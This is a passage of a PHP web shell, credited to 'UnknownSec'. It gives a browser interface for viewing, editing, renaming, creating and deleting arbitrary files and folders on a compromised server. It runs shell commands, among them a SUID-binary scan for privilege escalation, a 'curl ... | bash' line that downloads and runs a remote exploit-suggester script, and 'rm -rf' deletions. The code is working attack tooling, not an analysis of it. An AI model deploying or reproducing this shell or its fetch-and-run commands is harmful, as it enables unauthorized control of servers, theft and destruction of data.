  602.                                 echo '<center class="anu">[+] Scanning ...</center>';
  603.                                 echo '
  604.                                 <div class="container-fluid language-javascript">
  605.                                         <div class="shell mb-3">
  606.                                                 <pre style="font-size:10px;"><code>'.exe_root("find / -perm -u=s -type f 2>/dev/null", $path).'</code></pre>
  607.                                         </div>
  608.                                 </div>';
  609.                         } elseif (isset($_GET['id_two']) && $_GET['id_two'] == "esg") {
  610.                                 echo '<center class="anu">[+] Loading ...</center>';
  611.                                 echo '
  612.                                 <div class="container-fluid language-javascript">
  613.                                         <div class="shell mb-3">
  614.                                                 <pre style="font-size:10px;"><code>'.exe_root("curl -Lsk http://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash", $path).'</code></pre>
  615.                                         </div>
  616.                                 </div>';
  617.                         }
  618.                 }
  619.                 // openfile
  620.                 if(isset($_7['opn'])) {
  621.                         $file = $_7['opn'];
  622.                 }      
  623.                 // view
  624.                 if($_7['action'] == 'view') {
  625.                 s();
  626.                 echo "
  627.                 <div class='btn-group'>
  628.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  629.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  630.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  631.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  632.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=download&opn=$file'><i class='bi bi-download'></i></a>
  633.                 </div>
  634.                 <br>
  635.                         <i class='bi bi-file-earmark'></i>:&nbsp;".basename($file)."
  636.                 </br>
  637.                 <div class='bg-dark'>
  638.                         <div class='container-fluid language-javascript'>
  639.                                 <textarea rows='10' class='form-control' disabled=''>".htmlspecialchars(file_get_contents($file))."</textarea>
  640.                         </div>
  641.                 </div>";
  642.                 }
  643.                 // edit
  644.                 if(isset($_7['edit_file'])) {
  645.                 $updt = fopen("$file", "w");
  646.                 $result = fwrite($updt, $_7['contents']);              
  647.                         if ($result) {
  648.                 echo '<strong>Edit file</strong> ok! '.ok().'</div>';
  649.                         }else{
  650.                 echo '<strong>Edit file</strong> fail! '.er().'</div>';
  651.                         }
  652.                 }
  653.                 if($_7['action'] == 'edit') {
  654.                 s();
  655.                 echo "
  656.                 <div class='btn-group'>
  657.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  658.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  659.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  660.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  661.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=download&opn=$file'><i class='bi bi-download'></i></a>
  662.                 </div>
  663.                 <br>
  664.                         <i class='bi bi-file-earmark'></i>:&nbsp;".basename($file)."
  665.                 </br>
  666.                 <form method='POST'>
  667.                         <textarea class='form-control btn-sm' rows='10' name='contents' $_r>".htmlspecialchars(file_get_contents($file))."</textarea>
  668.                         <div class='d-grid gap-2'>
  669.                                 <button class='btn btn-outline-light btn-sm' type='sumbit' name='edit_file'><i class='bi bi-arrow-return-right'></i></button>
  670.                         </div>
  671.                 </form>";
  672.                 }
  673.                 //rename folder
  674.                 if($_7['action'] == 'rename_folder') {
  675.                         if($_7['r_d']) {
  676.                                 $r_d = rename($dir, "".dirname($dir)."/".htmlspecialchars($_7['r_d'])."");
  677.                                 if($r_d) {
  678.                 echo '<strong>Rename folder</strong> ok! '.ok().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  679.                                 }else{
  680.                 echo '<strong>Rename folder</strong> fail! '.er().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  681.                                 }
  682.                         }
  683.                 s();
  684.                 echo "
  685.                 <div class='btn-group'>
  686.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
  687.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  688.                 </div>
  689.                 <br>
  690.                         <i class='bi bi-folder-fill'></i>:&nbsp;".basename($dir)."
  691.                 </br>
  692.                 <form method='POST'>
  693.                         <div class='input-group'>
  694.                                 <input class='form-control btn-sm' type='text' value='".basename($dir)."' name='r_d' $_r>
  695.                                 <button class='btn btn-outline-light btn-sm' type='submit'><i class='bi bi-arrow-return-right'></i></button>
  696.                         </div>
  697.                 </form>";
  698.                 }
  699.                 //rename file
  700.                 if(isset($_7['r_f'])) {
  701.                         $old = $file;
  702.                         $new = $_7['new_name'];
  703.                         rename($new, $old);
  704.                         if(file_exists($new)) {
  705.                 echo '<div class="alert alert-warning alert-dismissible fade show my-3" role="alert">
  706.                         <strong>Rename file</strong> name already in use! <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
  707.                 </div>';
  708.                         }else{
  709.                 if(rename($old, $new)) {
  710.                 echo '<strong>Rename file</strong> ok! '.ok().'</div>';
  711.                         }else{
  712.                 echo '<strong>Rename file</strong> fail! '.er().'</div>';
  713.                                 }
  714.                         }
  715.                 }
  716.                 if($_7['action'] == 'rename') {
  717.                 s();
  718.                 echo "
  719.                 <div class='btn-group'>
  720.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  721.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  722.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  723.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  724.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=download&opn=$file'><i class='bi bi-download'></i></a>
  725.                 </div>
  726.                 <br>
  727.                         <i class='bi bi-file-earmark'></i>:&nbsp;".basename($file)."
  728.                 </br>
  729.                 <form method='POST'>
  730.                         <div class='input-group'>
  731.                                 <input class='form-control btn-sm' type='text' name='new_name' value='".basename($file)."' $_r>
  732.                                 <button class='btn btn-outline-light btn-sm' type='sumbit' name='r_f'><i class='bi bi-arrow-return-right'></i></button>
  733.                         </div>
  734.                 </form>";
  735.                 }
  736.                 //delete file
  737.                 if ($_7['action'] == 'delete_file') {
  738.                 s();
  739.                 if ($_7['yeahx']) {
  740.                         $delete = unlink($file);
  741.                         if ($delete) {
  742.                 echo '<strong>Delete file</strong> ok! '.ok().'</div>';
  743.                         }else{
  744.                 echo '<strong>Delete file</strong> fail! '.er().'</div>';
  745.                         }
  746.                 }
  747.                 echo "
  748.                 <div class='btn-group mb-3'>
  749.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=view&opn=$file'><i class='bi bi-eye-fill'></i></a>
  750.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=edit&opn=$file'><i class='bi bi-pencil-square'></i></a>
  751.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename&opn=$file'><i class='bi bi-pencil-fill'></i></a>
  752.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_file&opn=$file'><i class='bi bi-trash-fill'></i></a>
  753.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=download&opn=$file'><i class='bi bi-download'></i></a>
  754.                 </div>
  755.                 <div class='card card-body text-dark input-group mb-3'>
  756.                         <p>Are you sure to delete : ".basename($file)." ?</p>
  757.                         <form method='POST'>
  758.                                 <a class='btn btn-danger btn-block btn-sm' href='?dir=$dir'>No</a>
  759.                                 <input type='submit' name='yeahx' class='btn btn-success btn-block btn-sm' value='Yes'>
  760.                         </form>
  761.                 </div>";
  762.                 }
  763.                 //delete folder
  764.                 if ($_7['action'] == 'delete_folder' ) {
  765.                 s();
  766.                 if ($_7['yeah']) {
  767.                         if(is_dir($dir)) {
  768.                         if(is_writable($dir)) {
  769.                                 @rmdir($dir);
  770.                                 @exe("rm -rf $dir");
  771.                                 @exe("rmdir /s /q $dir");
  772.                 echo '<strong>Delete folder</strong> ok! '.ok().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  773.                                 } else {
  774.                 echo '<strong>Delete folder</strong> fail! '.er().'<a class="btn-close" href="?path='.dirname($dir).'"></a></div>';
  775.                                 }
  776.                         }
  777.                 }
  778.                 echo "
  779.                 <div class='btn-group mb-3'>
  780.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
  781.                         <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  782.                 </div>
  783.                 <div class='card card-body text-dark input-group mb-3'>
  784.                         <p>Are you sure to delete : ".basename($dir)." ?</p>
  785.                         <form method='POST'>
  786.                                 <a class='btn btn-danger btn-block btn-sm' href='?dir=".dirname($dir)."'>No</a>
  787.                                 <input type='submit' name='yeah' class='btn btn-success btn-block btn-sm' value='Yes'>
  788.                         </form>
  789.                 </div>";
  790.                 }
  791.                 if(isset($_7['filenew'])) {
  792.                 s();
  793.                 if(isset($_7['bikin'])){
  794.                         $name = $_7['name_file'];
  795.                         $contents_file = $_7['contents_file'];
  796.                         foreach ($name as $name_file){
  797.                                 $handle = @fopen("$name_file", "w");
  798.                                 if($contents_file){
  799.                                         $create = @fwrite($handle, $contents_file);
  800.                                 } else {
  801.                                         $create = $handle;
  802.                                 }
  803.                         }
  804.                         if($create){
  805.                                 echo "<script>window.location='?path=$path'</script>";
  806.                         } else {
  807.                                 echo '<strong>Create file</strong> fail! '.er().'</div>';
  808.                                 }
  809.                         }
  810.                 echo "
  811.                 <div class='mb-3'>
  812.                         <form method='POST'>
  813.                                 <i class='bi bi-file-earmark'></i> Filename:
  814.                                 <input class='form-control form-control-sm' type='text' name='name_file[]' placeholder='filename' $_r>
  815.                                 <i class='bi bi-file-earmark'></i> Your script:
  816.                                 <textarea class='form-control form-control-sm' name='contents_file' rows='7' placeholder='your script' $_r></textarea>
  817.                                 <div class='d-grid gap-2'>
  818.                                         <input class='btn btn-outline-light btn-sm' type='submit' name='bikin' value='create'>
  819.                                 </div>
  820.                         </form>
  821.                 </div>";
  822.                 }
  823.                 if(isset($_7['dirnew'])) {
  824.                 s();
  825.                 if(isset($_7['create'])){
  826.                         $name = $_7['name_dir'];
  827.                         foreach ($name as $name_dir){
  828.                                 $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $name_dir);
  829.                                 $fd = @mkdir ($folder);
  830.                         }
  831.                         if($fd){
  832.                                 echo "<script>window.location='?path=$path'</script>";
  833.                         } else {
  834.                                 echo '<strong>Create dir</strong> fail! '.er().'</div>';
  835.                                 }
  836.                         }
  837.                 echo "
  838.                 <div class='mb-3'>
  839.                         <form method='POST'>
  840.                                 <i class='bi bi-folder'></i> Name directory:
  841.                                 <div class='input-group mb-3'>
  842.                                         <input class='form-control form-control-sm' type='text' name='name_dir[]' placeholder='Dir name' $_r>
  843.                                         <input class='btn btn-outline-light btn-sm' type='submit' name='create' value='create dir'>
  844.                                 </div>
  845.                         </form>
  846.                 </div>";
  847.                 }
  848.                 echo '
  849.                 <div class="table-responsive">
  850.                 <table class="table table-hover table-dark text-light">
  851.                 <thead>
  852.                 <tr>
  853.                         <td class="text-center">name</td>
  854.                                 <td class="text-center">type</td>
  855.                                 <td class="text-center">last edit</td>
  856.                                 <td class="text-center">size</td>
  857.                                 <td class="text-center">owner<gr>/</gr>group</td>
  858.                                 <td class="text-center">permsion</td>
  859.                         <td class="text-center">action</td>
  860.                 </tr>
  861.                 </thead>
  862.                 <tbody class="text-nowrap">
  863.                 <tr>
  864.                         <td><i class="bi bi-folder2-open"></i><a class="text-decoration-none text-secondary" href="?path='.dirname($dir).'">..</a></td><td></td><td></td><td></td><td></td><td></td><td class="text-center">
  865.                                 <div class="btn-group">
  866.                                         <a class="btn btn-outline-light btn-sm" href="?filenew&path='.$dir.'"><i class="bi bi-file-earmark-plus-fill"></i></a>
  867.                                         <a class="btn btn-outline-light btn-sm" href="?dirnew&path='.$dir.'"><i class="bi bi-folder-plus"></i></a>
  868.                                 </div>
  869.                         </td>
  870.                 </tr>';        
  871.                 foreach($scand as $dir){
  872.                         $dt = date("Y-m-d G:i", filemtime("$path/$dir"));
  873.                         if(strlen($dir) > 25) {
  874.                                 $_d = substr($dir, 0, 25)."...";               
  875.                         }else{
  876.                                 $_d = $dir;
  877.                         }
  878.                         if(function_exists('posix_getpwuid')) {
  879.                                 $downer = @posix_getpwuid(fileowner("$path/$dir"));
  880.                                 $downer = $downer['name'];
  881.                         } else {
  882.                                 $downer = fileowner("$path/$dir");
  883.                         }
  884.                         if(function_exists('posix_getgrgid')) {
  885.                                 $dgrp = @posix_getgrgid(filegroup("$path/$dir"));
  886.                                 $dgrp = $dgrp['name'];
  887.                         } else {
  888.                                 $dgrp = filegroup("$path/$dir");
  889.                         }
  890.                         if(!is_dir($path.'/'.$file)) continue;
  891.                                 $size = filesize($path.'/'.$file)/1024;
  892.                                 $size = round($size,3);
  893.                         if($size >= 1024){
  894.                                 $size = round($size/1024,2).' MB';
  895.                         }else{
  896.                                 $size = $size.' KB';
  897.                         }
  898.                 if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  899.                 echo "
  900.                 <tr>
  901.                         <td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href='?dir=$path/$dir'>$_d</a></td>
  902.                         <td class='text-center'>dir</td>
  903.                         <td class='text-center'>$dt</td>
  904.                         <td class='text-center'>-</td>
  905.                         <td class='text-center'>$downer<gr>/</gr>$dgrp</td>
  906.                         <td class='text-center'>";
  907.                                 if(is_writable($path.'/'.$dir)) echo '<gr>';
  908.                                         elseif(!is_readable($path.'/'.$dir)) echo '<rd>';
  909.                                 echo p($path.'/'.$dir);
  910.                                 if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font></center></td>';
  911.                 echo "
  912.                         <td class='text-center'>
  913.                         <div class='btn-group'>
  914.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path/$dir&action=rename_folder'><i class='bi bi-pencil-fill'></i></a><a class='btn btn-outline-light btn-sm' href='?dir=$path/$dir&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
  915.                         </div>
  916.                         </td>
  917.                 </tr>";
  918.                 }
  919.                 foreach($scand as $file){
  920.                         $ft = date("Y-m-d G:i", filemtime("$path/$file"));
  921.                         if(function_exists('posix_getpwuid')) {
  922.                                 $fowner = @posix_getpwuid(fileowner("$path/$file"));
  923.                                 $fowner = $fowner['name'];
  924.                         } else {
  925.                                 $fowner = fileowner("$path/$file");
  926.                         }
  927.                         if(function_exists('posix_getgrgid')) {
  928.                                 $fgrp = @posix_getgrgid(filegroup("$path/$file"));
  929.                                 $fgrp = $fgrp['name'];
  930.                         } else {
  931.                                 $fgrp = filegroup("$path/$file");
  932.                         }
  933.                         if(!is_file($path.'/'.$file)) continue;
  934.                         if(strlen($file) > 25) {
  935.                                 $_f = substr($file, 0, 25)."...-.".$ext;               
  936.                         }else{
  937.                                 $_f = $file;
  938.                         }
  939.                 echo "
  940.                 <tr>
  941.                 <td><i class='bi bi-file-earmark-text-fill'></i><a class='text-decoration-none text-secondary' href='?dir=$path&action=view&opn=$file'>$_f</a></td>
  942.                         <td class='text-center'>file</td>
  943.                         <td class='text-center'>$ft</td>
  944.                         <td class='text-center'>".sz(filesize($file))."</td>
  945.                         <td class='text-center'>$fowner<gr>/</gr>$fgrp</td>
  946.                         <td class='text-center'>";
  947.                         if(is_writable($path.'/'.$file)) echo '<gr>';
  948.                         elseif(!is_readable($path.'/'.$file)) echo '<rd>';
  949.                                 echo p($path.'/'.$file);
  950.                         if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</gr></rd></td>';
  951.                         echo "
  952.                         <td class='text-center'>
  953.                         <div class='btn-group'>
  954.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=view&opn=$path/$file'><i class='bi bi-eye-fill'></i></a>
  955.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=edit&opn=$path/$file'><i class='bi bi-pencil-square'></i></a>
  956.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=rename&opn=$path/$file'><i class='bi bi-pencil-fill'></i></a>
  957.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=delete_file&opn=$path/$file'><i class='bi bi-trash-fill'></i></a>
  958.                                 <a class='btn btn-outline-light btn-sm' href='?dir=$path&action=download&opn=$path/$file'><i class='bi bi-download'></i></a>
  959.                         </div>
  960.                         </td>
  961.                 </tr>";
  962.                 }
  963.                 ?>
  964.                 </tbody>
  965.                 </table>
  966.                 </div><div class='text-secondary'>&copy; 2020-<?=date('Y');?> UnknownSec</div>
  967.         </div>
  968. </div>
  969. </body>
  970. </html>
  971.